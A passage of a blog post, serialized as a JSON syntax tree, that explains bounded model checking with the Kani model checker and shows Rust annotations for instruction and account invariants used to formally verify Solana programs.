branch:\n",{"type":24,"tag":158,"props":20990,"children":20991},{"class":160,"line":1635},[20992,20996,21000],{"type":24,"tag":158,"props":20993,"children":20994},{"style":188},[20995],{"type":29,"value":20835},{"type":24,"tag":158,"props":20997,"children":20998},{"style":222},[20999],{"type":29,"value":1285},{"type":24,"tag":158,"props":21001,"children":21002},{"style":188},[21003],{"type":29,"value":20844},{"type":24,"tag":158,"props":21005,"children":21006},{"class":160,"line":1644},[21007,21011,21015,21019,21023,21027],{"type":24,"tag":158,"props":21008,"children":21009},{"style":188},[21010],{"type":29,"value":20852},{"type":24,"tag":158,"props":21012,"children":21013},{"style":222},[21014],{"type":29,"value":1034},{"type":24,"tag":158,"props":21016,"children":21017},{"style":188},[21018],{"type":29,"value":20332},{"type":24,"tag":158,"props":21020,"children":21021},{"style":222},[21022],{"type":29,"value":728},{"type":24,"tag":158,"props":21024,"children":21025},{"style":465},[21026],{"type":29,"value":20341},{"type":24,"tag":158,"props":21028,"children":21029},{"style":188},[21030],{"type":29,"value":2125},{"type":24,"tag":158,"props":21032,"children":21033},{"class":160,"line":1652},[21034,21038,21042,21046],{"type":24,"tag":158,"props":21035,"children":21036},{"style":188},[21037],{"type":29,"value":20852},{"type":24,"tag":158,"props":21039,"children":21040},{"style":222},[21041],{"type":29,"value":20657},{"type":24,"tag":158,"props":21043,"children":21044},{"style":465},[21045],{"type":29,"value":20378},{"type":24,"tag":158,"props":21047,"children":21048},{"style":188},[21049],{"type":29,"value":2125},{"type":24,"tag":158,"props":21051,"children":21052},{"class":160,"line":1704},[21053,21057,21061,21065,21069,21073],{"type":24,"tag":158,"props":21054,"children":21055},{"style":188},[21056],{"type":29,"value":20899},{"type":24,"tag":158,"props":21058,"children":21059},{"style":222},[21060],{"type":29,"value":1034},{"type":24,"tag":158,"props":21062,"children":21063},{"style":188},[21064],{"type":29,"value":6173},{"type":24,"tag":158,"props":21066,"children":21067},{"style":222},[21068],{"type":29,"value":728},{"type":24,"tag":158,"props":21070,"children":21071},{"style":465},[21072],{"type":29,"value":1668},{"type":24,"tag":158,"props":21074,"children":21075},{"style":188},[21076],{"type":29,"value":2125},{"type":24,"tag":158,"props":21078,"children":21079},{"class":160,"line":1713},[21080],{"type":24,"tag":158,"props":21081,"children":21082},{"emptyLinePlaceholder":16},[21083],{"type":29,"value":481},{"type":24,"tag":158,"props":21085,"children":21086},{"class":160,"line":1731},[21087],{"type":24,"tag":158,"props":21088,"children":21089},{"style":2588},[21090],{"type":29,"value":20934},{"type":24,"tag":158,"props":21092,"children":21093},{"class":160,"line":5485},[21094,21098,21102,21106],{"type":24,"tag":158,"props":21095,"children":21096},{"style":188},[21097],{"type":29,"value":20942},{"type":24,"tag":158,"props":21099,"children":21100},{"style":222},[21101],{"type":29,"value":16924},{"type":24,"tag":158,"props":21103,"children":21104},{"style":465},[21105],{"type":29,"value":20496},{"type":24,"tag":158,"props":21107,"children":21108},{"style":188},[21109],{"type":29,"value":20955},{"type":24,"tag":158,"props":21111,"children":21112},{"class":160,"line":5493},[21113,21117,21121],{"type":24,"tag":158,"props":21114,"children":21115},{"style":496},[21116],{"type":29,"value":20963},{"type":24,"tag":158,"props":21118,"children":21119},{"style":188},[21120],{"type":29,"value":20968},{"type":24,"tag":158,"props":21122,"children":21123},{"style":2588},[21124],{"type":29,"value":20973},{"type":24,"tag":25,"props":21126,"children":21127},{},[21128,21130,21136,21138,21143],{"type":29,"value":21129},"Both of these cases return ",{"type":24,"tag":154,"props":21131,"children":21133},{"className":21132},[],[21134],{"type":29,"value":21135},"unsat",{"type":29,"value":21137}," meaning z3 could not find a way to violate the correctness property, hence our program is ",{"type":24,"tag":32,"props":21139,"children":21140},{},[21141],{"type":29,"value":21142},"correct",{"type":29,"value":21144}," according to this property.",{"type":24,"tag":395,"props":21146,"children":21148},{"id":21147},"loop-bounds-path-explosion",[21149],{"type":29,"value":21150},"Loop bounds & path explosion",{"type":24,"tag":25,"props":21152,"children":21153},{},[21154,21156,21161,21163,21168],{"type":29,"value":21155},"As you may have noticed, BMC requires us to take ",{"type":24,"tag":32,"props":21157,"children":21158},{},[21159],{"type":29,"value":21160},"every",{"type":29,"value":21162}," branch in the program. To be sure that our property holds, we need to check every possible route through the program. If we have 10 branches in a row we might need to test 2^10 paths! And if our program has loops, we may need to check an ",{"type":24,"tag":32,"props":21164,"children":21165},{},[21166],{"type":29,"value":21167},"infinite",{"type":29,"value":21169}," number of paths because the loop branches backward. This might take a while...",{"type":24,"tag":25,"props":21171,"children":21172},{},[21173],{"type":29,"value":21174},"This is where the \"bounded\" part of \"bounded model checking\" applies. Rather than unroll an infinite number of loops, we can set a loop bound and also verify that it is not possible to loop more than the loop bound.",{"type":24,"tag":25,"props":21176,"children":21177},{},[21178],{"type":29,"value":21179},"While this technique of bounding loops makes the problem tractable. It is still expensive to run BMC on very large programs due to the problem of path explosion. As our program gets larger, the number of possible paths scales potentially exponentially.",{"type":24,"tag":25,"props":21181,"children":21182},{},[21183],{"type":29,"value":21184},"One of the main challenges we will discuss later is how to address this problem of path explosion in the context of Solana Rust programs.",{"type":24,"tag":395,"props":21186,"children":21188},{"id":21187},"kani-model-checker",[21189],{"type":29,"value":21190},"Kani Model Checker",{"type":24,"tag":25,"props":21192,"children":21193},{},[21194,21196,21201],{"type":29,"value":21195},"For our research with formally verifying Solana programs, we are using the ",{"type":24,"tag":101,"props":21197,"children":21199},{"href":20088,"rel":21198},[105],[21200],{"type":29,"value":20092},{"type":29,"value":21202},": an open-source, bit-precise model checker for Rust created at AWS. Under the hood, Kani uses the C Bounded Model Checker (CBMC) to do the heavy lifting.",{"type":24,"tag":25,"props":21204,"children":21205},{},[21206,21208,21213,21215,21221,21222,21228,21230,21236],{"type":29,"value":21207},"Kani allows you to write ",{"type":24,"tag":32,"props":21209,"children":21210},{},[21211],{"type":29,"value":21212},"proof harnesses",{"type":29,"value":21214}," which can invoke Rust functions with symbolic values. These harnesses can ",{"type":24,"tag":154,"props":21216,"children":21218},{"className":21217},[],[21219],{"type":29,"value":21220},"assume",{"type":29,"value":1826},{"type":24,"tag":154,"props":21223,"children":21225},{"className":21224},[],[21226],{"type":29,"value":21227},"assert",{"type":29,"value":21229}," certain conditions about these symbolic values and then you can verify that a proof harness holds via the ",{"type":24,"tag":154,"props":21231,"children":21233},{"className":21232},[],[21234],{"type":29,"value":21235},"cargo kani",{"type":29,"value":21237}," tool (which compiles your proof harness and runs BMC).",{"type":24,"tag":59,"props":21239,"children":21241},{"id":21240},"specification-how-can-we-describe-what-we-want-our-program-to-do",[21242,21244,21248],{"type":29,"value":21243},"Specification: How can we describe what we ",{"type":24,"tag":32,"props":21245,"children":21246},{},[21247],{"type":29,"value":20162},{"type":29,"value":20164},{"type":24,"tag":25,"props":21250,"children":21251},{},[21252],{"type":24,"tag":32,"props":21253,"children":21254},{},[21255],{"type":24,"tag":897,"props":21256,"children":21257},{},[21258],{"type":29,"value":21259},"And what even do we want it to do?",{"type":24,"tag":25,"props":21261,"children":21262},{},[21263,21265,21270],{"type":29,"value":21264},"A fundamental challenge with any formal verification framework is ",{"type":24,"tag":32,"props":21266,"children":21267},{},[21268],{"type":29,"value":21269},"specifying",{"type":29,"value":21271}," what the \"correct\" behavior should be.",{"type":24,"tag":25,"props":21273,"children":21274},{},[21275],{"type":29,"value":21276},"In natural language, we can describe a few good properties for example Solana programs:",{"type":24,"tag":17924,"props":21278,"children":21279},{},[21280,21292,21304],{"type":24,"tag":1790,"props":21281,"children":21282},{},[21283,21285,21290],{"type":29,"value":21284},"\"It should not be possible to ",{"type":24,"tag":897,"props":21286,"children":21287},{},[21288],{"type":29,"value":21289},"steal money",{"type":29,"value":21291}," via a swap program\"",{"type":24,"tag":1790,"props":21293,"children":21294},{},[21295,21297,21302],{"type":29,"value":21296},"\"A multisig should never get into a state where you ",{"type":24,"tag":897,"props":21298,"children":21299},{},[21300],{"type":29,"value":21301},"can't sign anything",{"type":29,"value":21303},"\"",{"type":24,"tag":1790,"props":21305,"children":21306},{},[21307],{"type":29,"value":21308},"\"User funds in a staking protocol \"",{"type":24,"tag":25,"props":21310,"children":21311},{},[21312,21314,21324,21326,21331],{"type":29,"value":21313},"These are types of properties you can tell your ",{"type":24,"tag":101,"props":21315,"children":21318},{"href":21316,"rel":21317},"https://osec.io/",[105],[21319],{"type":24,"tag":32,"props":21320,"children":21321},{},[21322],{"type":29,"value":21323},"human auditors",{"type":29,"value":21325}," but these English phrases are not particularly useful for ",{"type":24,"tag":32,"props":21327,"children":21328},{},[21329],{"type":29,"value":21330},"automated verification techniques",{"type":29,"value":21332}," (at least until our AI overlords surpass human intelligence).",{"type":24,"tag":25,"props":21334,"children":21335},{},[21336,21338,21343,21345,21350],{"type":29,"value":21337},"Instead, we need to be able to specify ",{"type":24,"tag":32,"props":21339,"children":21340},{},[21341],{"type":29,"value":21342},"in code",{"type":29,"value":21344}," what properties we want to check. Ideally, we could define invariants that fit nicely into something like an ",{"type":24,"tag":154,"props":21346,"children":21348},{"className":21347},[],[21349],{"type":29,"value":21227},{"type":29,"value":21351}," statement.",{"type":24,"tag":395,"props":21353,"children":21355},{"id":21354},"solana-invariants",[21356],{"type":29,"value":21357},"Solana Invariants",{"type":24,"tag":25,"props":21359,"children":21360},{},[21361,21363,21368,21369,21374],{"type":29,"value":21362},"In the context of Solana programs we define two different types of properties that we would like to verify: ",{"type":24,"tag":897,"props":21364,"children":21365},{},[21366],{"type":29,"value":21367},"instruction invariants",{"type":29,"value":1826},{"type":24,"tag":897,"props":21370,"children":21371},{},[21372],{"type":29,"value":21373},"account invariants",{"type":29,"value":347},{"type":24,"tag":20134,"props":21376,"children":21378},{"id":21377},"instruction-invariant",[21379],{"type":29,"value":21380},"Instruction Invariant",{"type":24,"tag":25,"props":21382,"children":21383},{},[21384,21386,21391,21393,21399,21400,21406],{"type":29,"value":21385},"An ",{"type":24,"tag":897,"props":21387,"children":21388},{},[21389],{"type":29,"value":21390},"instruction invariant",{"type":29,"value":21392}," specifies sufficient conditions for an instruction to succeed (or fail). These are specified as ",{"type":24,"tag":154,"props":21394,"children":21396},{"className":21395},[],[21397],{"type":29,"value":21398},"succeeds_if",{"type":29,"value":4028},{"type":24,"tag":154,"props":21401,"children":21403},{"className":21402},[],[21404],{"type":29,"value":21405},"errors_if",{"type":29,"value":21407}," macro annotations on the instruction handler.",{"type":24,"tag":25,"props":21409,"children":21410},{},[21411],{"type":29,"value":21412},"In Solana, when an instruction fails, the entire transaction is reverted. Failing an instruction on purpose is commonly used as a form of access control; invalid accounts, bad state, etc... will cause an instruction to fail and get reverted.",{"type":24,"tag":25,"props":21414,"children":21415},{},[21416,21418,21424,21426,21431],{"type":29,"value":21417},"For example, say we have a ",{"type":24,"tag":154,"props":21419,"children":21421},{"className":21420},[],[21422],{"type":29,"value":21423},"Withdraw",{"type":29,"value":21425}," instruction that lets a user withdraw some tokens. A security critical property we may want to verify is that the user cannot withdraw ",{"type":24,"tag":32,"props":21427,"children":21428},{},[21429],{"type":29,"value":21430},"more",{"type":29,"value":21432}," tokens than their current balance.",{"type":24,"tag":25,"props":21434,"children":21435},{},[21436,21438,21443],{"type":29,"value":21437},"Using our tool, you could specify the following ",{"type":24,"tag":154,"props":21439,"children":21441},{"className":21440},[],[21442],{"type":29,"value":21405},{"type":29,"value":21444}," property on your instruction handler:",{"type":24,"tag":147,"props":21446,"children":21448},{"code":21447,"language":150,"meta":7,"className":151,"style":7},"#[errors_if(\n ctx.user.balance \u003C amount\n)]\nfn withdraw(ctx: Context\u003CWithdraw>, amount: u64) -> Result\u003C()> {\n ...\n}\n",[21449],{"type":24,"tag":154,"props":21450,"children":21451},{"__ignoreMap":7},[21452,21460,21495,21503,21576,21584],{"type":24,"tag":158,"props":21453,"children":21454},{"class":160,"line":161},[21455],{"type":24,"tag":158,"props":21456,"children":21457},{"style":188},[21458],{"type":29,"value":21459},"#[errors_if(\n",{"type":24,"tag":158,"props":21461,"children":21462},{"class":160,"line":213},[21463,21468,21472,21477,21481,21486,21490],{"type":24,"tag":158,"props":21464,"children":21465},{"style":188},[21466],{"type":29,"value":21467}," ctx",{"type":24,"tag":158,"props":21469,"children":21470},{"style":222},[21471],{"type":29,"value":347},{"type":24,"tag":158,"props":21473,"children":21474},{"style":188},[21475],{"type":29,"value":21476},"user",{"type":24,"tag":158,"props":21478,"children":21479},{"style":222},[21480],{"type":29,"value":347},{"type":24,"tag":158,"props":21482,"children":21483},{"style":188},[21484],{"type":29,"value":21485},"balance ",{"type":24,"tag":158,"props":21487,"children":21488},{"style":222},[21489],{"type":29,"value":3760},{"type":24,"tag":158,"props":21491,"children":21492},{"style":188},[21493],{"type":29,"value":21494}," amount\n",{"type":24,"tag":158,"props":21496,"children":21497},{"class":160,"line":238},[21498],{"type":24,"tag":158,"props":21499,"children":21500},{"style":188},[21501],{"type":29,"value":21502},")]\n",{"type":24,"tag":158,"props":21504,"children":21505},{"class":160,"line":259},[21506,21511,21516,21520,21525,21529,21534,21538,21542,21546,21551,21555,21559,21563,21567,21571],{"type":24,"tag":158,"props":21507,"children":21508},{"style":165},[21509],{"type":29,"value":21510},"fn",{"type":24,"tag":158,"props":21512,"children":21513},{"style":496},[21514],{"type":29,"value":21515}," withdraw",{"type":24,"tag":158,"props":21517,"children":21518},{"style":188},[21519],{"type":29,"value":504},{"type":24,"tag":158,"props":21521,"children":21522},{"style":177},[21523],{"type":29,"value":21524},"ctx",{"type":24,"tag":158,"props":21526,"children":21527},{"style":222},[21528],{"type":29,"value":225},{"type":24,"tag":158,"props":21530,"children":21531},{"style":171},[21532],{"type":29,"value":21533}," Context",{"type":24,"tag":158,"props":21535,"children":21536},{"style":188},[21537],{"type":29,"value":3760},{"type":24,"tag":158,"props":21539,"children":21540},{"style":171},[21541],{"type":29,"value":21423},{"type":24,"tag":158,"props":21543,"children":21544},{"style":188},[21545],{"type":29,"value":8278},{"type":24,"tag":158,"props":21547,"children":21548},{"style":177},[21549],{"type":29,"value":21550},"amount",{"type":24,"tag":158,"props":21552,"children":21553},{"style":222},[21554],{"type":29,"value":225},{"type":24,"tag":158,"props":21556,"children":21557},{"style":171},[21558],{"type":29,"value":230},{"type":24,"tag":158,"props":21560,"children":21561},{"style":188},[21562],{"type":29,"value":723},{"type":24,"tag":158,"props":21564,"children":21565},{"style":222},[21566],{"type":29,"value":14991},{"type":24,"tag":158,"props":21568,"children":21569},{"style":171},[21570],{"type":29,"value":14996},{"type":24,"tag":158,"props":21572,"children":21573},{"style":188},[21574],{"type":29,"value":21575},"\u003C()> {\n",{"type":24,"tag":158,"props":21577,"children":21578},{"class":160,"line":280},[21579],{"type":24,"tag":158,"props":21580,"children":21581},{"style":222},[21582],{"type":29,"value":21583}," ...\n",{"type":24,"tag":158,"props":21585,"children":21586},{"class":160,"line":301},[21587],{"type":24,"tag":158,"props":21588,"children":21589},{"style":188},[21590],{"type":29,"value":307},{"type":24,"tag":4606,"props":21592,"children":21593},{},[21594],{"type":24,"tag":25,"props":21595,"children":21596},{},[21597,21598,21603,21605,21610,21612,21617],{"type":29,"value":17850},{"type":24,"tag":154,"props":21599,"children":21601},{"className":21600},[],[21602],{"type":29,"value":21405},{"type":29,"value":21604}," expression specifies ",{"type":24,"tag":32,"props":21606,"children":21607},{},[21608],{"type":29,"value":21609},"succifient",{"type":29,"value":21611}," but not ",{"type":24,"tag":32,"props":21613,"children":21614},{},[21615],{"type":29,"value":21616},"necessary",{"type":29,"value":21618}," conditions for an instruction to fail. I.e. it imposes a strong lower bound on what the requirements are for an instruction to fail.",{"type":24,"tag":20034,"props":21620,"children":21621},{},[],{"type":24,"tag":25,"props":21623,"children":21624},{},[21625,21627,21632],{"type":29,"value":21626},"Another example is that for ",{"type":24,"tag":32,"props":21628,"children":21629},{},[21630],{"type":29,"value":21631},"crank",{"type":29,"value":21633}," functions — run by unauthenticated users to advance the state of the system, you may want to prove that they never fail. In that case, you could specify an invariant like the following:",{"type":24,"tag":147,"props":21635,"children":21637},{"code":21636,"language":150,"meta":7,"className":151,"style":7},"#[succeeds_if(true)]\nfn my_crank(ctx: Context\u003CCrank>) -> Result\u003C()> {\n ...\n}\n",[21638],{"type":24,"tag":154,"props":21639,"children":21640},{"__ignoreMap":7},[21641,21649,21703,21710],{"type":24,"tag":158,"props":21642,"children":21643},{"class":160,"line":161},[21644],{"type":24,"tag":158,"props":21645,"children":21646},{"style":188},[21647],{"type":29,"value":21648},"#[succeeds_if(true)]\n",{"type":24,"tag":158,"props":21650,"children":21651},{"class":160,"line":213},[21652,21656,21661,21665,21669,21673,21677,21681,21686,21691,21695,21699],{"type":24,"tag":158,"props":21653,"children":21654},{"style":165},[21655],{"type":29,"value":21510},{"type":24,"tag":158,"props":21657,"children":21658},{"style":496},[21659],{"type":29,"value":21660}," my_crank",{"type":24,"tag":158,"props":21662,"children":21663},{"style":188},[21664],{"type":29,"value":504},{"type":24,"tag":158,"props":21666,"children":21667},{"style":177},[21668],{"type":29,"value":21524},{"type":24,"tag":158,"props":21670,"children":21671},{"style":222},[21672],{"type":29,"value":225},{"type":24,"tag":158,"props":21674,"children":21675},{"style":171},[21676],{"type":29,"value":21533},{"type":24,"tag":158,"props":21678,"children":21679},{"style":188},[21680],{"type":29,"value":3760},{"type":24,"tag":158,"props":21682,"children":21683},{"style":171},[21684],{"type":29,"value":21685},"Crank",{"type":24,"tag":158,"props":21687,"children":21688},{"style":188},[21689],{"type":29,"value":21690},">) ",{"type":24,"tag":158,"props":21692,"children":21693},{"style":222},[21694],{"type":29,"value":14991},{"type":24,"tag":158,"props":21696,"children":21697},{"style":171},[21698],{"type":29,"value":14996},{"type":24,"tag":158,"props":21700,"children":21701},{"style":188},[21702],{"type":29,"value":21575},{"type":24,"tag":158,"props":21704,"children":21705},{"class":160,"line":238},[21706],{"type":24,"tag":158,"props":21707,"children":21708},{"style":222},[21709],{"type":29,"value":21583},{"type":24,"tag":158,"props":21711,"children":21712},{"class":160,"line":259},[21713],{"type":24,"tag":158,"props":21714,"children":21715},{"style":188},[21716],{"type":29,"value":307},{"type":24,"tag":25,"props":21718,"children":21719},{},[21720,21722,21726,21728,21734],{"type":29,"value":21721},"With this invariant, you could prove that the function ",{"type":24,"tag":32,"props":21723,"children":21724},{},[21725],{"type":29,"value":3988},{"type":29,"value":21727}," returns ",{"type":24,"tag":154,"props":21729,"children":21731},{"className":21730},[],[21732],{"type":29,"value":21733},"Ok",{"type":29,"value":21735},". This type of construction could help avoid possible denial of service attacks if a crank could get \"stuck.\"",{"type":24,"tag":20034,"props":21737,"children":21738},{},[],{"type":24,"tag":25,"props":21740,"children":21741},{},[21742,21744,21749,21750,21755,21757,21762,21764,21769,21771,21776],{"type":29,"value":21743},"Note that ",{"type":24,"tag":154,"props":21745,"children":21747},{"className":21746},[],[21748],{"type":29,"value":21398},{"type":29,"value":1826},{"type":24,"tag":154,"props":21751,"children":21753},{"className":21752},[],[21754],{"type":29,"value":21405},{"type":29,"value":21756}," are both implications and not biconditionals. That is, a function may succeed even if ",{"type":24,"tag":154,"props":21758,"children":21760},{"className":21759},[],[21761],{"type":29,"value":21398},{"type":29,"value":21763}," is not satisfied and a function may fail even if ",{"type":24,"tag":154,"props":21765,"children":21767},{"className":21766},[],[21768],{"type":29,"value":21405},{"type":29,"value":21770}," is not satisfied. If you want to prove the ",{"type":24,"tag":32,"props":21772,"children":21773},{},[21774],{"type":29,"value":21775},"exact condition",{"type":29,"value":21777}," required for an instruction to succeed, you could use a form like the following:",{"type":24,"tag":147,"props":21779,"children":21781},{"code":21780,"language":150,"meta":7,"className":151,"style":7},"fn my_invariant(...) -> bool { ... }\n\n#[succeeds_if(my_invariant(...))]\n#[errors_if(!my_invariant(...))]\nfn my_instruction(ctx: Context\u003C...>) -> Result\u003C()> {\n ...\n}\n",[21782],{"type":24,"tag":154,"props":21783,"children":21784},{"__ignoreMap":7},[21785,21829,21836,21853,21879,21931,21938],{"type":24,"tag":158,"props":21786,"children":21787},{"class":160,"line":161},[21788,21792,21797,21801,21805,21809,21813,21817,21821,21825],{"type":24,"tag":158,"props":21789,"children":21790},{"style":165},[21791],{"type":29,"value":21510},{"type":24,"tag":158,"props":21793,"children":21794},{"style":496},[21795],{"type":29,"value":21796}," my_invariant",{"type":24,"tag":158,"props":21798,"children":21799},{"style":188},[21800],{"type":29,"value":504},{"type":24,"tag":158,"props":21802,"children":21803},{"style":222},[21804],{"type":29,"value":377},{"type":24,"tag":158,"props":21806,"children":21807},{"style":188},[21808],{"type":29,"value":723},{"type":24,"tag":158,"props":21810,"children":21811},{"style":222},[21812],{"type":29,"value":14991},{"type":24,"tag":158,"props":21814,"children":21815},{"style":171},[21816],{"type":29,"value":2928},{"type":24,"tag":158,"props":21818,"children":21819},{"style":188},[21820],{"type":29,"value":372},{"type":24,"tag":158,"props":21822,"children":21823},{"style":222},[21824],{"type":29,"value":377},{"type":24,"tag":158,"props":21826,"children":21827},{"style":188},[21828],{"type":29,"value":382},{"type":24,"tag":158,"props":21830,"children":21831},{"class":160,"line":213},[21832],{"type":24,"tag":158,"props":21833,"children":21834},{"emptyLinePlaceholder":16},[21835],{"type":29,"value":481},{"type":24,"tag":158,"props":21837,"children":21838},{"class":160,"line":238},[21839,21844,21848],{"type":24,"tag":158,"props":21840,"children":21841},{"style":188},[21842],{"type":29,"value":21843},"#[succeeds_if(my_invariant(",{"type":24,"tag":158,"props":21845,"children":21846},{"style":222},[21847],{"type":29,"value":377},{"type":24,"tag":158,"props":21849,"children":21850},{"style":188},[21851],{"type":29,"value":21852},"))]\n",{"type":24,"tag":158,"props":21854,"children":21855},{"class":160,"line":259},[21856,21861,21866,21871,21875],{"type":24,"tag":158,"props":21857,"children":21858},{"style":188},[21859],{"type":29,"value":21860},"#[errors_if(",{"type":24,"tag":158,"props":21862,"children":21863},{"style":222},[21864],{"type":29,"value":21865},"!",{"type":24,"tag":158,"props":21867,"children":21868},{"style":188},[21869],{"type":29,"value":21870},"my_invariant(",{"type":24,"tag":158,"props":21872,"children":21873},{"style":222},[21874],{"type":29,"value":377},{"type":24,"tag":158,"props":21876,"children":21877},{"style":188},[21878],{"type":29,"value":21852},{"type":24,"tag":158,"props":21880,"children":21881},{"class":160,"line":280},[21882,21886,21891,21895,21899,21903,21907,21911,21915,21919,21923,21927],{"type":24,"tag":158,"props":21883,"children":21884},{"style":165},[21885],{"type":29,"value":21510},{"type":24,"tag":158,"props":21887,"children":21888},{"style":496},[21889],{"type":29,"value":21890}," my_instruction",{"type":24,"tag":158,"props":21892,"children":21893},{"style":188},[21894],{"type":29,"value":504},{"type":24,"tag":158,"props":21896,"children":21897},{"style":177},[21898],{"type":29,"value":21524},{"type":24,"tag":158,"props":21900,"children":21901},{"style":222},[21902],{"type":29,"value":225},{"type":24,"tag":158,"props":21904,"children":21905},{"style":171},[21906],{"type":29,"value":21533},{"type":24,"tag":158,"props":21908,"children":21909},{"style":188},[21910],{"type":29,"value":3760},{"type":24,"tag":158,"props":21912,"children":21913},{"style":222},[21914],{"type":29,"value":377},{"type":24,"tag":158,"props":21916,"children":21917},{"style":188},[21918],{"type":29,"value":21690},{"type":24,"tag":158,"props":21920,"children":21921},{"style":222},[21922],{"type":29,"value":14991},{"type":24,"tag":158,"props":21924,"children":21925},{"style":171},[21926],{"type":29,"value":14996},{"type":24,"tag":158,"props":21928,"children":21929},{"style":188},[21930],{"type":29,"value":21575},{"type":24,"tag":158,"props":21932,"children":21933},{"class":160,"line":301},[21934],{"type":24,"tag":158,"props":21935,"children":21936},{"style":222},[21937],{"type":29,"value":21583},{"type":24,"tag":158,"props":21939,"children":21940},{"class":160,"line":626},[21941],{"type":24,"tag":158,"props":21942,"children":21943},{"style":188},[21944],{"type":29,"value":307},{"type":24,"tag":25,"props":21946,"children":21947},{},[21948],{"type":29,"value":21949},"Note that in practice, it is usually not necessary (or useful) to find the exact condition; rather we can achieve the security properties we want purely by proving upper and lower bounds on instruction success.",{"type":24,"tag":20134,"props":21951,"children":21953},{"id":21952},"account-invariants",[21954],{"type":29,"value":21955},"Account Invariants",{"type":24,"tag":25,"props":21957,"children":21958},{},[21959,21961,21966],{"type":29,"value":21960},"The other type of invariant is an ",{"type":24,"tag":897,"props":21962,"children":21963},{},[21964],{"type":29,"value":21965},"Account Invariant",{"type":29,"value":21967},". This invariant describes some property of an account that should always hold.",{"type":24,"tag":25,"props":21969,"children":21970},{},[21971,21973,21978,21979,21985],{"type":29,"value":21972},"In our tool, we verify that the account invariant holds after every instruction that could modify the account data (i.e. if the account is ",{"type":24,"tag":154,"props":21974,"children":21976},{"className":21975},[],[21977],{"type":29,"value":2169},{"type":29,"value":4028},{"type":24,"tag":154,"props":21980,"children":21982},{"className":21981},[],[21983],{"type":29,"value":21984},"init",{"type":29,"value":21986},").",{"type":24,"tag":25,"props":21988,"children":21989},{},[21990,21992,21998],{"type":29,"value":21991},"For example, given a mock ",{"type":24,"tag":154,"props":21993,"children":21995},{"className":21994},[],[21996],{"type":29,"value":21997},"UserStatement",{"type":29,"value":21999}," account that represents how much a user owns and owes, we could write an invariant that asserts that the net balance is positive:",{"type":24,"tag":147,"props":22001,"children":22003},{"code":22002,"language":150,"meta":7,"className":151,"style":7},"#[account]\n#[invariant(\n self.assets >= self.liabilities\n)]\nstruct UserStatement {\n pub owner: Pubkey,\n pub assets: u64,\n pub liabilities: u64,\n}\n",[22004],{"type":24,"tag":154,"props":22005,"children":22006},{"__ignoreMap":7},[22007,22015,22023,22057,22064,22080,22106,22130,22154],{"type":24,"tag":158,"props":22008,"children":22009},{"class":160,"line":161},[22010],{"type":24,"tag":158,"props":22011,"children":22012},{"style":188},[22013],{"type":29,"value":22014},"#[account]\n",{"type":24,"tag":158,"props":22016,"children":22017},{"class":160,"line":213},[22018],{"type":24,"tag":158,"props":22019,"children":22020},{"style":188},[22021],{"type":29,"value":22022},"#[invariant(\n",{"type":24,"tag":158,"props":22024,"children":22025},{"class":160,"line":238},[22026,22031,22035,22040,22044,22048,22052],{"type":24,"tag":158,"props":22027,"children":22028},{"style":188},[22029],{"type":29,"value":22030}," self",{"type":24,"tag":158,"props":22032,"children":22033},{"style":222},[22034],{"type":29,"value":347},{"type":24,"tag":158,"props":22036,"children":22037},{"style":188},[22038],{"type":29,"value":22039},"assets ",{"type":24,"tag":158,"props":22041,"children":22042},{"style":222},[22043],{"type":29,"value":750},{"type":24,"tag":158,"props":22045,"children":22046},{"style":188},[22047],{"type":29,"value":15031},{"type":24,"tag":158,"props":22049,"children":22050},{"style":222},[22051],{"type":29,"value":347},{"type":24,"tag":158,"props":22053,"children":22054},{"style":188},[22055],{"type":29,"value":22056},"liabilities\n",{"type":24,"tag":158,"props":22058,"children":22059},{"class":160,"line":259},[22060],{"type":24,"tag":158,"props":22061,"children":22062},{"style":188},[22063],{"type":29,"value":21502},{"type":24,"tag":158,"props":22065,"children":22066},{"class":160,"line":280},[22067,22071,22076],{"type":24,"tag":158,"props":22068,"children":22069},{"style":165},[22070],{"type":29,"value":168},{"type":24,"tag":158,"props":22072,"children":22073},{"style":171},[22074],{"type":29,"value":22075}," UserStatement",{"type":24,"tag":158,"props":22077,"children":22078},{"style":188},[22079],{"type":29,"value":210},{"type":24,"tag":158,"props":22081,"children":22082},{"class":160,"line":301},[22083,22088,22093,22097,22102],{"type":24,"tag":158,"props":22084,"children":22085},{"style":165},[22086],{"type":29,"value":22087}," pub",{"type":24,"tag":158,"props":22089,"children":22090},{"style":177},[22091],{"type":29,"value":22092}," owner",{"type":24,"tag":158,"props":22094,"children":22095},{"style":222},[22096],{"type":29,"value":225},{"type":24,"tag":158,"props":22098,"children":22099},{"style":171},[22100],{"type":29,"value":22101}," Pubkey",{"type":24,"tag":158,"props":22103,"children":22104},{"style":188},[22105],{"type":29,"value":235},{"type":24,"tag":158,"props":22107,"children":22108},{"class":160,"line":626},[22109,22113,22118,22122,22126],{"type":24,"tag":158,"props":22110,"children":22111},{"style":165},[22112],{"type":29,"value":22087},{"type":24,"tag":158,"props":22114,"children":22115},{"style":177},[22116],{"type":29,"value":22117}," assets",{"type":24,"tag":158,"props":22119,"children":22120},{"style":222},[22121],{"type":29,"value":225},{"type":24,"tag":158,"props":22123,"children":22124},{"style":171},[22125],{"type":29,"value":230},{"type":24,"tag":158,"props":22127,"children":22128},{"style":188},[22129],{"type":29,"value":235},{"type":24,"tag":158,"props":22131,"children":22132},{"class":160,"line":668},[22133,22137,22142,22146,22150],{"type":24,"tag":158,"props":22134,"children":22135},{"style":165},[22136],{"type":29,"value":22087},{"type":24,"tag":158,"props":22138,"children":22139},{"style":177},[22140],{"type":29,"value":22141}," liabilities",{"type":24,"tag":158,"props":22143,"children":22144},{"style":222},[22145],{"type":29,"value":225},{"type":24,"tag":158,"props":22147,"children":22148},{"style":171},[22149],{"type":29,"value":230},{"type":24,"tag":158,"props":22151,"children":22152},{"style":188},[22153],{"type":29,"value":235},{"type":24,"tag":158,"props":22155,"children":22156},{"class":160,"line":676},[22157],{"type":24,"tag":158,"props":22158,"children":22159},{"style":188},[22160],{"type":29,"value":307},{"type":24,"tag":25,"props":22162,"children":22163},{},[22164,22166,22171],{"type":29,"value":22165},"Our tool automatically generates the relevant harnesses to ensure that this property holds every time an account of type ",{"type":24,"tag":154,"props":22167,"children":22169},{"className":22168},[],[22170],{"type":29,"value":21997},{"type":29,"value":22172}," is created or modified.",{"type":24,"tag":25,"props":22174,"children":22175},{},[22176,22178,22184],{"type":29,"value":22177},"In another example, we developed the following invariant for the ",{"type":24,"tag":101,"props":22179,"children":22181},{"href":20065,"rel":22180},[105],[22182],{"type":29,"value":22183},"Squads Multisig",{"type":29,"value":22185}," wallet 